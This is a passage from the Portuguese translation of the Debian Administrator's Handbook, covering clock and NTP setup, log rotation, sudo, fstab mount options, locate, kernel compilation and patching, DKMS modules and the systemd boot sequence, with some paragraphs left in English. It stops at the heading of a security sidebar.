mais acurado, especialmente porque ele não precisa acessar variáveis de hardware.
Contudo, como ele apenas existe na memória viva, ele é zerado toda vez que a
máquina é inicializada, ao contrário do ”CMOS clock”, o qual tem uma bateria e,
sendo assim, ”sobrevive” a reinicialização ou desligamento da máquina. O relógio
do sistema é, assim, configurado a partir do ”CMOS clock” durante a inicialização,
e o ”CMOS clock” é atualizado no desligamento (para ser informado de possíveis
alterações ou correções se ele foi ajustado inapropriadamente).

Na prática, existe um problema, já que o relógio CMOS nada mais é do que um
contador e não contém informação referente a fuso horário. Existe uma escolha
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a fazer levando em consideração essa interpretação: ou o sistema considera que
ele roda no horário universal (UTC, antigamente GMT), ou em horário local. Essa
escolha poderia ser uma simples opção, mas as coisas são realmente mais compli-
cadas: como resultado de um horário de verão, essa variação não é constante. O
resultado é que o sistema não tem como determinar quando a variação é correta,
especialmente perto dos períodos de mudança de horário. Como é sempre possível
reconstruir o horário local a partir do horário universal e da informação de fuso ho-
rário, nós recomendamos fortemente o uso do relógio CMOS no horário universal.

Infelizmente, o sistema Windows em sua configuração padrão, ignora essa
recomendação; ele mantém o relógio CMOS em horário local, aplicando as
mudanças de horário durante a inicialização do computador, tentando adivinhar,
durante a alteração de horário, se a alteração já foi aplicada ou não. Isso funciona
relativamente bem, contando que o sistema tenha apenas o Windows rodando
nele. Mas quando o computador tem vários sistemas (seja uma configuração
“dual-boot” ou rodando outros sistemas através de uma máquina virtual), o caos
se instala, sem ter como determinar se o horário está correto. Se você tem que
absolutamente manter o Windows em um computador, você deveria ou configurá-
lo para manter o relógio CMOS em UTC (configurando a chave de registro
HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal
para “1” como DWORD), ou usar hwclock --localtime --set no sistema De-
bian para configurar o relógio de hardware e marcá-lo para acompanhar o horário
local (e garantir a checagem manual do seu relógio na primavera e outono).

8.9.2. Sincronização de Tempo

A sincronização de horário, o que pode parecer supérfluo em um computador, é muito impor-
tante em uma rede. Como os usuários não tem permissão de modificar a data e horário, é im-
portante que essa informação seja precisa para prevenir confusão. Além do mais, ter todos os
computadores em uma rede sincronizados permite melhor cruzamento de referencias de infor-
mação a partir dos logs de diferentes máquinas. Assim, em um eventual ataque, é mais fácil
reconstruir a sequência cronológica das ações nas várias máquinas envolvidas no compromisso.
Os dados coletados nas várias máquinas, para propósitos de estatística, não farão muito sentido
se eles não estiverem sincronizados.

DE VOLTA AO BÁSICO

NTP
O NTP (Network Time Protocol) permite que uma máquina sincronize com outras
com razoável precisão, levando em consideração os atrasos induzidos pela transfe-
rência de informação pela rede e outros possíveis desvios.

Apesar de existirem vários servidores NTP na internet, os mais populares provavel-
mente estão sobrecarregados. Por isso que nós recomendamos o uso do servidor
NTP pool.ntp.org, o qual é, na realidade, um grupo de máquinas que concordaram
em servir como servidores NTP públicos. Você poderia até limitar o uso para um
país específico, como um sub-grupo , como, por exemplo, us.pool.ntp.org para os
Estados Unidos, ou ca.pool.ntp.org para o Canadá, etc.

Contudo, se você gerencia uma grande rede, é recomendável que você instale seu
próprio servidor NTP, o qual irá sincronizar com os servidores públicos. Neste caso,
todas as outras máquinas de sua rede podem usar seu servidor NTP interno ao
invés de aumentar a carga em servidores públicos. Você irá também aumentar a
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homogeneidade com seus relógios, já que todas as máquina serão sincronizadas
pela mesma fonte, e essa fonte está bem próxima em termos de tempo de transfe-
rência de rede.

Para Estações de Trabalho

Como as estações de trabalho são reinicializadas regularmente (ainda que apenas para econo-
mizar energia), sincronizá-las pelo NTP na inicialização é o suficiente. Para fazer isso, simples-
mente instale o pacote ntpdate. Você pode alterar o servidor NTP usado, se necessário, modifi-
cando o arquivo /etc/default/ntpdate.

Para Servidores

Servidores são apenas raramente reinicializados, e émuito importante que o horário do sistema
deles esteja correto. Paramanter permanentemente o horário correto, você deveria instalar um
servidorNTP local, um serviço oferecido pelo pacote ntp. Na sua configuração padrão, o servidor
irá sincronizar com pool.ntp.org eprover ohorário emresposta as requisições vindas da rede local.
Você pode configurá-lo editando o arquivo /etc/ntp.conf, sendo a mais significante alteração
o servidor NTP ao qual ele se refere. Se a rede tem vários servidores, pode ser interessante ter
um servidor local de horário o qual faz a sincronização com servidores públicos e é usado como
fonte de horário para outros servidores na rede.

APROFUNDANDO

Módulos GPS e outros
recursos de tempo

Se a sincronização do horário for particularmente crucial para sua rede, é possível
equipar um servidor com o módulo GPS (o qual irá usar o horário a partir de sa-
télites GPS) ou o módulo DCF-77 (o qual irá sincronizar o horário com um relógio
atômico perto de Frankfurt, Alemanha). Neste caso, a configuração do servidor
NTP é um pouco mais complicada e uma consulta prévia à documentação é abso-
lutamente necessária.

8.9.3. Rotação de Arquivos de Log

Arquivos de log podem crescer rapidamente e é necessário arquivá-los. O esquema mais co-
mum é a rotação dos arquivos: o arquivo de log é arquivado regularmente, e apenas os últimos
X arquivos sãomantidos. logrotate, o programa responsável por estas rotações, segue as direti-
vas especificadas no arquivo /etc/logrotate.conf e em todos os arquivos dentro do diretório
/etc/logrotate.d/. O administrador podemodificar esses arquivos, se ele quiser adaptar a po-
lítica de rotação dos logs definidas pelo Debian. A página de manual do logrotate(1) descreve
todas as opções disponíveis nesses arquivos de configuração. Você pode querer aumentar o nú-
mero de arquivos retidos na rotação dos arquivos de log, ou mover os arquivos de log para um
diretório específico, dedicado a arquivá-los ao invés de apagá-los. Você pode também enviá-los,
por email, para arquivá-los em outro lugar qualquer.
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O programa logrotate é executado diariamente pelo agendador de comandos cron (descrito
em Seção 9.7, “Agendando Tarefas com cron e atd” [217]).

8.9.4. Compartilhando Direitos Administrativos

Frequentemente, vários administradores trabalham na mesma rede. O compartilhamento da
senha do root não é muito elegante, e abre brecha para abusos devido ao anonimato que tal
prática cria. A solução para esse problema é o programa sudo, o qual permite que certos usuários
executem certos comandos com direitos especiais. Em seu caso mais comum de uso, o sudo
permite que um usuário confiável execute qualquer comando como se fosse o root. Para fazer
isso, o usuário simplesmente executa sudo command e se autentica usando sua senha pessoal.
Quando instalado, o pacote sudo dá todos os direitos de root para os membros do grupo Unix
sudo. Para delegar outros direitos, o administrador tem que usar o comando visudo, o qual
permite a elemodificar o arquivo de configuração /etc/sudoers (mais uma vez, isso irá invocar
o editor vi, ou qualquer outro editor indicado na variável de ambiente EDITOR). Adicionando
uma linha com usuário ALL=(ALL) ALL permite que o usuário em questão executar qualquer
comando como root.
Configurações mais sofisticadas permitem autorizar apenas comandos específicos para usuá-
rios específicos. Todos os detalhes das variadas possibilidades são dados pela página de manual
sudoers(5).

8.9.5. Lista de Pontos de Montagem

DE VOLTA AO BÁSICO

Montando e
desmontando

Em sistemas Unix-like como o Debian, os arquivos são organizados em uma hi-
erarquia no formato árvore de diretórios. O diretório / é chamado de “diretório
raiz”; todos os diretório adicionais são subdiretórios dentro dessa raiz. ”Monta-
gem” é a ação de incluir o conteúdo de um dispositivo periférico (geralmente um
disco rígido) em um arquivo comum da árvore do sistema. Como consequência,
se você usa um disco rígido separado para armazenar dados pessoais de usuários,
esse disco terá que ser “montado” no diretório /home/. O sistema de arquivos raiz
é sempre montado na inicialização, pelo kernel; outros dispositivos são geralmente
montados mais tarde, durante a sequência de inicialização ou manualmente com o
comando mount command.

Some removable devices are automatically mounted when connected, especially
when using the GNOME, Plasma or other graphical desktop environments. Others
have to be mounted manually by the user. Likewise, they must be unmounted
(removed from the file tree). Normal users do not usually have permission to exe-
cute the mount and umount commands. The administrator can, however, authorize
these operations (independently for each mount point) by including the user op-
tion in the /etc/fstab file.

O comando mount pode ser usado sem argumentos (ele irá então listas todos os
sistemas de arquivos montados). Os seguintes parâmetros são necessários para
montar ou desmontar um dispositivo. Para uma lista completa, por favor veja as
páginas de manual correspondentes, mount(8) e umount(8). Para casos simples,
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a sintaxe também é simples: por exemplo, para montar a partição /dev/sdc1, a
qual tem um sistema de arquivos ext3, no diretório /mnt/tmp/, você simplesmente
rodaria mount -t ext3 /dev/sdc1 /mnt/tmp/.

O arquivo /etc/fstab dá uma lista de todas as possíveis montagens que acontecem tanto au-
tomaticamente na inicialização quanto manualmente para dispositivos de armazenamento re-
movíveis. Cada ponto de montagem é descrito em uma linha com vários campos separados por
espaço:

• file system: this indicates where the filesystem to be mounted can be found, it can be a
local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS).
Esse campoé frequentemente substituídopela IDúnica do sistemade arquivos (a qual você
pode determinar com blkid dispositivo) prefixada com UUID=. Isso protege contra
mudanças no nome do dispositivo no evento de adição ou remoção de discos, ou se os
discos forem detectados de maneira diferente.

• ponto de montagem: esse é a localização no sistema de arquivos local aonde o dispositivo,
sistema remoto, ou partição será montada.

• tipo: esse campo define o sistema de arquivos usado no dispositivo montado. ext4, ext3,
vfat, ntfs, btrfs, xfs são alguns exemplos.

DE VOLTA AO BÁSICO

NFS, um sistema de
arquivos de rede

NFS é um sistema de arquivos de rede; no Linux, ele permite acesso trans-
parente a arquivos remotos os incluindo no sistema de arquivo local.

Uma lista completa dos conhecidos sistemas de arquivo está disponível na página de ma-
nual mount(8). O valor especial swap é para partições swap; o valor especial auto diz ao
programa mount para detectar automaticamente o sistema de arquivos (o que é especial-
mente útil para leitores de disco e chaves USB, já que cada um pode ter um sistema de
arquivos diferente);

• opções: existem muitas delas, dependendo do sistema de arquivos, e elas estão documen-
tadas na página de manual do mount. As mais comuns são

– rw ou ro, significam, respectivamente, que o dispositivo será montado com permis-
são de leitura/escrita ou apenas leitura.

– noauto desativa a montagem automática na inicialização.
– nofail permite que a inicialização prossiga mesmo quando o dispositivo não esteja

presente. Tenha a certeza de colocar essa opção para drives externos que podem
estar desconectados quando você inicializar, porquê o systemd realmente garante
que todos os pontos demontagem que tem que sermontados automaticamente este-
jam realmente montados antes de deixar o processo de inicialização continuar até o
seu final. Note que você pode combinar isso com x-systemd.device-timeout=5s para
informar o systemd para não esperar mais do que 5 segundos para o dispositivo apa-
recer (veja systemd.mount(5)).

– user autoriza todos os usuários amontar esse sistema de arquivo (uma operação que,
de outra forma, seria restrita ao usuário root).
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– defaults significa o grupo de opções padrão: rw, suid, dev, exec, auto, nouser e async,
sendo que cada uma pode ser individualmente desabilitada após defaults bastando
adicionar nosuid, nodev e assim por diante, para bloquear suid, dev e assim por di-
ante. Adicionando a opção user reativa-a, já que defaults inclue nouser.

• dump: this field is almost always set to 0. When it is 1, it tells the dump tool that the
partition contains data that is to be backed up.

• pass: this last field indicates whether the integrity of the filesystem should be checked on
boot, and in which order this check should be executed. If it is 0, no check is conducted.
The root filesystem should have the value 1, while other permanent filesystems get the
value 2.

Exemplo 8.6 Exemplo do arquivo /etc/fstab

# /etc/fstab: static file system information.
#
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0
# / was on /dev/sda1 during installation
UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0
/dev/fd0 /media/floppy auto rw,user,noauto 0 0
arrakis:/shared /shared nfs defaults 0 0

A última entrada neste exemplo corresponde ao sistema de arquivos de rede (NFS): o diretório
/shared/ no servidor arrakis é montado em /shared/ na máquina local. O formato do arquivo
/etc/fstab está documentado na página de manual fstab(5).

APROFUNDANDO

Montagem automática
systemd is able to manage automount points: those are filesystems that are moun-
ted on-demand when a user attempts to access their target mount points. It can
also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated
units (using the .automount suffix). See systemd.automount(5) for their precise
syntax.

Other auto-mounting utilities exist, such as automount in the autofs package or
amd in the am-utils.

Note also that GNOME, Plasma, and other graphical desktop environments work
together with udisks, and can automatically mount removable media when they
are connected.
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8.9.6. locate e updatedb

O comando locate pode encontrar a localização de um arquivo quando você sabe apenas parte
do nome. Ele envia o resultado quase que instantaneamente, já que ele consulta uma base de da-
dos que armazena a localização de todos os arquivos no sistema; essa base de dados é atualizada
diariamente pelo comando updatedb. Existem multiplas implementações do comando locate
e o Debian escolheu o mlocate para seu sistema padrão.
O mlocate é suficientemente esperto para retornar apenas os arquivos os quais são acessíveis ao
usuário que está executando o comando, mesmo que ele use uma base de dados que sabe sobre
todos os arquivos no sistema (já que a sua implementação updatedb roda comprivilégio de root).
Para uma segurança extra, o administrador pode usar PRUNEDPATHS no /etc/updatedb.conf
para excluir alguns diretórios de serem indexados.

8.10. Compilando o núcleo

Os núcleos fornecidos pelo Debian incluem o maior número de recursos possível, assim como o
máximo de drivers, para cobrir o mais amplo espectro de configurações de hardware. É por isso
que alguns usuários preferem recompilar o núcleo, e assim, incluir apenas o que eles precisam
especificamente. Existem duas razões para essa escolha. Primeiro, talvez seja para otimizar o
consumo de memória, já que o código do núcleo, mesmo nunca sendo usado, ocupa memória
para nada (e nunca ”cai” no espaço swap, já que é a RAM real que ele usa), o que pode compro-
meter o desempenho de todo o sistema. Um núcleo compilado localmente pode também limitar
o risco com problemas de segurança já que apenas uma fração do código do kernel é compilado
e rodado.

NOTA

Atualizações de
segurança

Se você escolher compilar seu próprio kernel, você tem que aceitar as consequên-
cias: o Debian não pode garantir atualizações de segurança para seu kernel customi-
zado. Mantendo o kernel fornecido pelo Debian, você se beneficia das atualizações
preparadas pelo time de seguração do Projeto Debian.

A recompilação do kernel também é necessária se você quer usar certas características que só
estão disponíveis através de patches (e portanto não incluídas na versão padrão do kernel).

APROFUNDANDO

Manual do Kernel do
Debian

The Debian kernel teams maintains the “Debian Kernel Handbook” (also availa-
ble in the debian-kernel-handbook package) with comprehensive documentation
about most kernel related tasks and about how official Debian kernel packages are
handled. This is the first place you should look into if you need more information
than what is provided in this section.

è https://kernel-team.pages.debian.net/kernel-handbook/
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8.10.1. Introdução e Pré-requisitos

Obviamente o Debian gerencia o núcleo na forma de pacote, que não é como os núcleos tem
sido tradicionalmente compilados e instalados. Como o núcleo se mantém no controle do sis-
tema de empacotamento, ele pode ser removido de maneira limpa, ou implantado em várias
máquinas. Além do mais, os scripts associados com esses pacotes automatizam a interação com
o carregador de inicialização e o gerador de initrd.
Os fontes do desenvolvedor principal do Linux contém tudo o que é necessário para construir
um pacote Debian do núcleo. Mas você ainda precisa instalar o build-essential para garantir que
você tem as ferramentas necessárias para construção de um pacote Debian. Além do mais, a
etapa de configuração do núcleo requer o pacote libncurses5-dev. E finalmente, o pacote fakeroot
irá permitir a criação de um pacote Debian sem usar os direitos de administrador.

CULTURA

Os bons e velhos tempos
do kernel-package

Antes do sistema de construção do Linux ganhar a habilidade de construir pacotes
Debian apropriados, a maneira recomendada de construir esses pacotes era usar o
pacote make-kpkg from the kernel-package.

8.10.2. Pegando os Fontes

Like anything that can be useful on a Debian system, the Linux kernel sources are available
in a package. To retrieve them, just install the linux-source-version package. The apt search
^linux-source command lists the various kernel versions packaged by Debian. The latest ver-
sion is available in the Unstable distribution: you can retrieve them without much risk (espe-
cially if your APT is configured according to the instructions of Seção 6.2.6, “Trabalhando com
Distribuições Diversas” [118]). Note that the source code contained in these packages does not
correspond precisely with that published by Linus Torvalds and the kernel developers; like all
distributions, Debian applies a number of patches, which might (or might not) find their way
into the upstream version of Linux. These modifications include backports of fixes/features/-
drivers from newer kernel versions, new features not yet (entirely) merged in the upstream
Linux tree, and sometimes even Debian specific changes.
The remainder of this section focuses on the 4.9 version of the Linux kernel, but the examples
can, of course, be adapted to the particular version of the kernel that you want.
We assume the linux-source-4.9 package has been installed. It contains /usr/src/
linux-source-4.9.tar.xz, a compressed archive of the kernel sources. You must ex-
tract these files in a new directory (not directly under /usr/src/, since there is no need for
special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel
$ tar -xaf /usr/src/linux-source-4.9.tar.xz
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CULTURA

Localização dos fontes do
núcleo

Tradicionalmente, os fontes do kernel Linux deveriam ser colocados em /usr/src/
linux/, e assim, requerer permissões de root para compilação. Entretanto, traba-
lhar com direitos de administrador deve ser evitado quando não são necessários.
Existe um grupo src que permite que seus membros trabalhem nesse diretório,
mas trabalhar em /usr/src/ deve ser evitado entretanto. Mantendo os fontes do
kernel em um diretório pessoal, você obtêm segurança em todas as contas: nenhum
arquivo em /usr/ desconhecido pelo sistema de empacotamento, e nenhum risco
de engano por programas que leem o /usr/src/linux enquanto tentam ganhar
informação do kernel em uso.

8.10.3. Configurando o Núcleo

O próximo passo consiste da configuração do núcleo de acordo com suas necessidades. O proce-
dimento exato depende dos objetivos.
Quando recompilamos uma versão mais recente do núcleo (possivelmente com um patch adici-
onal), a configuração, provavelmente, será mantida o mais próximo possível daquela proposta
pelo Debian. Nesse caso, e ao invés de reconfigurar tudo a partir do zero, será suficiente copiar
o arquivo /boot/config-versão (a versão é aquela do núcleo atualmente usado, a qual pode ser
encontrada com o comando uname -r) para o arquivo .config dentro do diretório contendo os
fontes do núcleo.
$ cp /boot/config-4.9.0-3-amd64 ~/kernel/linux-source-4.9/.config

A menos que você precise mudar a configuração, você pode parar por aqui e pular para Se-
ção 8.10.4, “Compilando e Construindo um Pacote” [186]. Se você precisa mudá-la, por outro
lado, ou se você decidir reconfigurar tudo a partir do zero, você precisa dedicar um tempo para
configurar seu núcleo. Existem varias interfaces dedicadas no diretório do fonte do núcleo que
podem ser usadas executando o comando make alvo, aonde alvo é um dos valores descritos
abaixo.
0 make menuconfig compila e executa uma interface de modo texto (é aqui que o pacote
libncurses5-dev é necessário) a qual permite a navegação pelas opções disponíveis em uma estru-
tura hierárquica. Pressionar a tecla Espaço muda o valor da opção selecionada, e Enter valida
o botão selecionado no pé da tela; Select returna ao sub menu selecionado; Exit fecha a tela
corrente e volta para cima na hierarquia; Help irá exibir informações mais detalhadas sobre a
função da opção selecionada. As setas permitem mover pela lista de opções e botões. Para sair
do programa de configuração, escolha Exit no menu principal. O programa então oferece salvar
as alterações que você fez; aceite se você estiver satisfeito com suas escolhas.
Outras interfaces tem características semelhantes, mas elas trabalham com interfaces gráficas
mais modernas; como a make xconfig, a qual usa a interface gráfica Qt, e a make gconfig,
a qual usa GTK+. A primeira requer libqt4-dev, enquanto a última depende de libglade2-dev e
libgtk2.0-dev.
Ao usar uma dessa interfaces de configuração, sempre é uma boa ideia iniciar a partir de uma
configuração padrão razoável. O núcleo prove tais configurações em arch/arch/configs/*_
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defconfig e você pode colocar sua configuração selecionada no lugar com um comando como
make x86_64_defconfig (no caso de um PC de 64-bit) ou make i386_defconfig (no caso de
um PC de 32-bit).

DICA

Lidando com arquivos
.config desatualizados

Quando você provê um arquivo .config que tenha sido gerado por outra versão
do núcleo (geralmente mais antiga), você terá que atualizá-lo. Você pode fazer
isso com o make oldconfig, ele irá interativamente perguntar a você as perguntas
correspondentes as novas opções de configuração. Se você quiser usar a resposta
padrão para todas essas perguntas você pode usar o make olddefconfig. Com o
make oldnoconfig, ele assumirá uma resposta negativa em todas as perguntas.

8.10.4. Compilando e Construindo um Pacote

NOTA

Limpar antes de construir
Se você já fez uma compilação no diretório e quer reconstruir tudo a partir do zero
(por exemplo, porque você fez mudanças substanciais na configuração do núcleo),
você terá que executar make clean para remover os arquivos compilados. make
distclean remove mais arquivos gerados, incluindo seu arquivo .config também,
então tenha certeza de guardar uma cópia dele.

Uma vez que a configuração do núcleo esteja pronta, um simples make deb-pkg irá gerar até
5 pacotes Debian: linux-image-versão que contém a imagem do núcleo e módulos associados,
linux-headers-versão o qual contém os arquivos de cabeçalho necessários para construir módu-
los externos, linux-firmware-image-versão o qual contém os arquivos de firmware necessários
por alguns drivers (esse pacote pode estar faltando quando você constroí a partir dos fontes do
kernel fornecidos pelo Debian), linux-image-versão-dbg o qual contém os símbolos de depuração
para a imagem do núcleo e seus módulos, e linux-libc-dev o qual contém cabeçalhos relevantes
para algumas bibliotecas do espaço do usuário como a glibc GNU.
A versão é definida pela concatenação da versão do upstream (como definido pelas variáveis
VERSION, PATCHLEVEL, SUBLEVEL e EXTRAVERSION no Makefile), do parâmetro de confi-
guração LOCALVERSION, e da variável de ambiente LOCALVERSION. A versão do pacote reusa
a mesma cadeia de caracteres da versão com uma revisão adicionada, que é regularmente in-
crementada (e armazenada em .version), exceto se você sobrescrever ela com a variável de
ambiente KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1
[...]
$ ls ../*.deb
../linux-headers-4.9.30-ckt4-falcot_4.9.30-1_amd64.deb
../linux-image-4.9.30-ckt4-falcot_4.9.30-1_amd64.deb
../linux-image-4.9.30-ckt4-falcot-dbg_4.9.30-1_amd64.deb
../linux-libc-dev_4.9.30-1_amd64.deb
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8.10.5. Compilando Módulos Externos

Algunsmódulos sãomantidos fora do núcleo Linux oficial. Para usá-los, eles devem ser compila-
dos a parte do referido núcleo. Um número demódulos de terceiros comuns são fornecidos pelo
Debian em pacotes dedicados, tais como o xtables-addons-source (môdulos extra para o iptables)
ou oss4-source (Open Sound System, alguns drivers de áudio alternativos).
Esses pacotes externos são muitos e variados e nós não vamos listar todos aqui; o comando
apt-cache search source$ pode diminuir o campo de pesquisa. Contudo, uma lista completa
não é particularmente útil, já que não existe uma razão em particular para compilar módulos
externos, exceto quando você sabe que precisa de um. Nesses casos, a documentação do dis-
positivo irá tipicamente detalhar os módulo(s) específicos que ele precisa para funcionar sob o
Linux.
Por exemplo, vamos dar uma olhada no pacote xtables-addons-source: após a instalação, um .tar.
bz2 dos fontes domódulo é armazenado em /usr/src/. Ainda que nós possamos manualmente
extrair o tarball e construir omódulo, na prática nós preferimos automatizar tudo isso usando o
DKMS. Amaioria dosmódulos oferecema requerida integraçãoDKMSemumpacote terminando
com o sufixo -dkms. No nosso caso, instalar o xtables-addons-dkms é tudo que é preciso para
compilar o módulo do núcleo para o núcleo corrente, incluindo também o pacote linux-headers-*
associado ao núcleo instalado. Por exemplo, se você usa o linux-image-amd64, você deve também
instalar o linux-headers-amd64.

$ sudo apt install xtables-addons-dkms

[...]
Setting up xtables-addons-dkms (2.12-0.1) ...
Loading new xtables-addons-2.12 DKMS files...
Building for 4.9.0-3-amd64
Building initial module for 4.9.0-3-amd64
Done.

xt_ACCOUNT:
Running module version sanity check.
- Original module
- No original module exists within this kernel

- Installation
- Installing to /lib/modules/4.9.0-3-amd64/updates/dkms/

[...]
DKMS: install completed.
$ sudo dkms status
xtables-addons, 2.12, 4.9.0-3-amd64, x86_64: installed
$ sudo modinfo xt_ACCOUNT
filename: /lib/modules/4.9.0-3-amd64/updates/dkms/xt_ACCOUNT.ko
license: GPL
alias: ipt_ACCOUNT
author: Intra2net AG <opensource@intra2net.com>
description: Xtables: per-IP accounting for large prefixes
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[...]

ALTERNATIVA

module-assistant
Antes do DKMS, o module-assistant era a solução mais simples para construir e
implantar módulos do núcleo. Ele ainda pode ser usado, em particular para pacotes
sem integração com o DKMS: com um simples comando como module-assistant
auto-install xtables-addons (ou m-a a-i xtables-addons para abreviar),os
módulos são compilados para o núcleo corrente, colocado em um novo pacote De-
bian, e o pacote é instalado na hora.

8.10.6. Aplicando um Patch ao Núcleo

Alguns recursos não são incluídos no kernel padrão devido a falta de maturidade ou algum de-
sentendimento entre os mantenedores do kernel. Tais recursos podem ser distribuídos através
de patches, e assim, qualquer um está livre para aplicá-los aos fontes do kernel.
Debian sometimes provides some of these patches in linux-patch-* packages but they often don’t
make it into stable releases (sometimes for the very same reasons that they are not merged into
the official upstream kernel). These packages install files in the /usr/src/kernel-patches/
directory.
Para aplicar um oumais desses patches instalados, use o comando patch no diretório dos fontes,
e então, inicie a compilação do kernel como descrito acima.
$ cd ~/kernel/linux-source-4.9
$ make clean
$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.

å patch.gz | patch -p1

Note que um patch(qualquer um) talvez não necessariamente funcione com todas as versões do
núcleo; é possível que o patch falhe ao aplicá-lo nos fontes do núcleo. Uma mensagem de error
será exibida e informará alguns detalhes sobre a falha; neste caso, referencie a documentação
disponível no pacote Debian do patch (no diretório /usr/share/doc/linux-patch-*/). Na
maioria dos casos, o mantenedor indica para qual versão do núcleo o patch é feito.

8.11. Instalando o Núcleo

8.11.1. Características do Pacote de Núcleo do Debian

Um pacote Debian do núcleo instala uma imagem do núcleo (vmlinuz-versão), sua configura-
ção (config-versão) e sua tabela de símbolos (System.map-versão) em /boot/. A tabela de
símbolos ajuda os desenvolvedores entender o significado de umamensagem de erro do núcleo;
sem isso, um “oopses” do núcleo (um “oops” é equivalente, no caso do núcleo, a uma falha de
segmentação para programas em espaço do usuário, em outras palavras, mensagem gerada na
sequência de uma deferência de umponteiro inválido) apenas contémnúmeros de endereços de
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memória, o que é informação inútil sem uma tabela mapeando esses endereços para símbolos e
nomes de funções. Os módulos são instalados no diretório /lib/modules/versão/.
Os scripts de configuração do pacote automaticamente geram uma imagem initrd, a qual é um
mini sistema designado a ser carregado na memória (dai o nome, que significa “init ramdisk”)
pelo carregador de inicialização, e usado pelo núcleo Linux somente para carregar os módulos
necessários para acessar os dispositivos que contém um sistema Debian completo (por exemplo,
o driver para discos SATA). Finalmente, os scripts pós-instalação atualizam as ligações simbó-
licas /vmlinuz, /vmlinuz.old, /initrd.img e /initrd.img.old para que eles apontem para
os dois últimos núcleos instalados, respectivamente, assim como para as imagens initrd corres-
pondentes.
A maioria dessas tarefas são delegadas aos scripts hook nos diretórios /etc/kernel/*.d/. Por
exemplo, a integração com o grub se apoia em /etc/kernel/postinst.d/zz-update-grub e
/etc/kernel/postrm.d/zz-update-grub para chamar update-grub quando os núcleos são
instalados ou removidos.

8.11.2. Instalando com dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools,
but the easiest way of installing a compiled kernel is to use a command such as dpkg -i
package.deb, where package.deb is the name of a linux-image package such as linux-image-4.
9.30-ckt4-falcot_1_amd64.deb.
As etapas de configuração descritas neste capítulo são básicas e podem levar tanto a um sistema
servidor ou a uma estação de trabalho, e podem ser massivamente duplicadas em modos semi-
automatizados. Contudo, não é suficiente por si só para prover um sistema completamente
configurado. Algumas peças ainda precisam ser configuradas, começando por programas de
baixo nivel (low-level) conhecidos como “Unix services”.
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9.1. Inicialização do Sistema

Quando você inicializar o computador, algumas mensagens rolarão pelo console automatica-
mente inicializando e as configurações são automaticamente executadas. Algumas vezes você
pode desejar alterar como este estágio funciona, de forma que possa entender isto muito bem.
Este é o propósito desta seção.
Primeiro, a BIOS pega o controle sobre o computador, detectando discos, carregando a Master
Boot Record, e executa o carregador de inicialização. O carregador de inicialização assume, loca-
liza o kernel no disco, carrega e o executa. O kernel é então inicializado e começa a pesquisa
pela partição e monta a partição contendo o sistema raiz e finalmente o primeiro programa —
init. Frequentemente, esta ”partição raiz” e este init são, de fato, localizado em um sistema
de arquivos virtual que só existe na RAM (daí o seu nome, ”initramfs”, anteriormente chamado
de ”initrd” para ”initialization RAM disk”). Este sistema de arquivos é carregado na memoria
pelo carregador de inicialização, muitas vezes a partir de um arquivo em um disco rígido ou da
rede. Ele contém o mínimo exigido pelo kernel para carregar o sistema de arquivos raiz ”verda-
deiro”. Este pode ser módulos de driver para o disco rígido ou outros dispositivos sem o qual o
sistema pode não inicializar, ou, mais freqüentemente, scripts de inicialização e módulos para a
montagem de arrays RAID, abrindo partições criptografadas, ativando volumes LVM, etc. Uma
vez que a partição raiz é montada, o initramfs libera o controle para o init real, e a máquina
voltará para o processo de inicialização padrão.
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Figura 9.1 Seqüência de inicialização de um computador rodando Linux com systemd

9.1.1. O sistema init systemd

O “init real” é atualmente fornecido pelo systemd e essa seção documenta esse sistema init.

CULTURA

Antes do systemd

O systemd é um ”sistema init” relativamente recente, e embora ele já estivesse
disponível, até certo ponto, noWheezy, ele só se tornou o padrão no Debian Jessie.
Lançamentos anteriores faziam uso, por padrão, do “System V init” (no pacote sysv-
rc), um sistema muito mais tradicional. Nós descreveremos o ”System V init” mais
tarde.
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ALTERNATIVA

Outros sistemas de
inicializações

Este livro descreve o sistema de inicialização usado por padrão no Debian Jessie
(como implementado pelo pacote systemd), assim como o previamente padrão sys-
vinit, que é derivado e herdado dos sistemas Unix System V, mas existem outros.

file-rc é um sistema de inicialização com um processo muito simples. Ele mantém
a ideia de runlevels (níveis de execução), mas substitui os diretórios e links simbóli-
cos com um arquivo de configuração, que diz ao init os processos que devem ser
iniciados e sua ordem de inicialização.

O recém-chegado sistema upstart ainda não está perfeitamente testado no De-
bian. Ele é baseado em eventos: scripts de inicialização não são mais executados
em uma ordem sequencial, mas em resposta a eventos como a conclusão de um
outro script do qual eles são dependentes. Este sistema, iniciado pelo Ubuntu, está
presente no Debian Jessie, mas não é o padrão; ele vem, de fato, como um substi-
tuto para o sysvinit, e uma das funções iniciadas pelo upstart é iniciar os scripts
escritos para sistemas tradicionais, especialmente aqueles do pacote sysv-rc.

Existem também outros sistemas e outros modos operacionais, tais como runit ou
minit, mas eles são relativamente especializados e não generalizados.

SPECIFIC CASE

Inicializando pela rede
Em algumas configurações, o BIOS pode ser configurado para não executar o MBR,
mas buscar o seu equivalente na rede, tornando possível a construção de compu-
tadores sem disco rígido, ou que são completamente reinstalado a cada boot. Esta
opção não está disponível em todos os hardwares e geralmente requer uma combi-
nação adequada de BIOS e placa de rede.

A inicialização através da rede pode ser usada para iniciar o debian-installer
ou FAI (ver Seção 4.1, “Métodos de Instalação” [50]).

BACK TO BASICS

Um processo, uma
instância do programa

Um processo é a representação em memória de um programa em execução. Isto
inclui todas as informações necessárias para a execução adequada do software (o
código própriamente dito, mas também os dados que tem na memória, a lista de
arquivos que ele abriu, as conexões de rede que estabeleceu, etc.). Um único pro-
grama pode ser instanciado em muitos processos, não necessáriamente rodando
sob diferentes IDs de usuários.

SECURITY

Usando Shell como init
para ganhar privilégios de

root

